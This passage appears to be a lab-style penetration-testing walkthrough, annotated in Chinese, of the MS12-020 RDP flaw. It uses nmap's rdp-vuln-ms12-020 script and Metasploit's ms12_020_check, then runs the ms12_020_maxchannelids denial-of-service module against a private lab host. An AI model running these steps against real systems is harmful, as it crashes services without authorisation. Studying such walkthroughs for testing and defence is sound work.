

```
service postgresql start
```

```
1. nmap
```

```
root@MiWiFi-R1CL-srv:~# cd /usr/share/nmap/scripts/
```

```
root@MiWiFi-R1CL-srv:/usr/share/nmap/scripts# ls |grep  
rdp
```

```
http-wordpress-brute.nse
```

```
http-wordpress-enum.nse
```

```
http-wordpress-users.nse
```

```
rdp-enum-encryption.nse
```

```
rdp-vuln-ms12-020.nse
```

```
2. nmap -vv --open -p 3389 --script=rdp-vuln-ms12-020 1  
92.168.159.128
```

```
3. msfconsole
```

```
search ms12-020
```

(1) 漏洞检测

```
msf > use auxiliary/scanner/rdp/ms12_020_check
```

```
msf auxiliary(ms12_020_check) > set rhosts 192.168.159.  
128 设置远程 ip
```

```
msf auxiliary(ms12_020_check) > show options 查看配置
```

Name	Current Setting	Required	Description
-----	-----	-----	-----
RHOSTS	192.168.159.128	yes	The target address range or CIDR identifier
RPORT	3389	yes	Remote port running RDP (TCP)
THREADS	1	yes	The number of concurrent threads

```
msf auxiliary(ms12_020_check) > run
```

```
[+] 192.168.159.128:3389 - 192.168.159.128:3389 - The  
target is vulnerable. 漏洞存在
```

```
[*] Scanned 1 of 1 hosts (100% complete)
```

```
[*] Auxiliary module execution completed
```

(2) 漏洞攻击

```
msf auxiliary(ms12_020_check) > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
```

```
msf auxiliary(ms12_020_maxchannelids) > set rhost 192.1  
68.159.128 设置远程 ip
```

```
rhost => 192.168.159.128
```

```
msf auxiliary(ms12_020_maxchannelids) > show options
```

```
msf auxiliary(ms12_020_maxchannelids) > run
```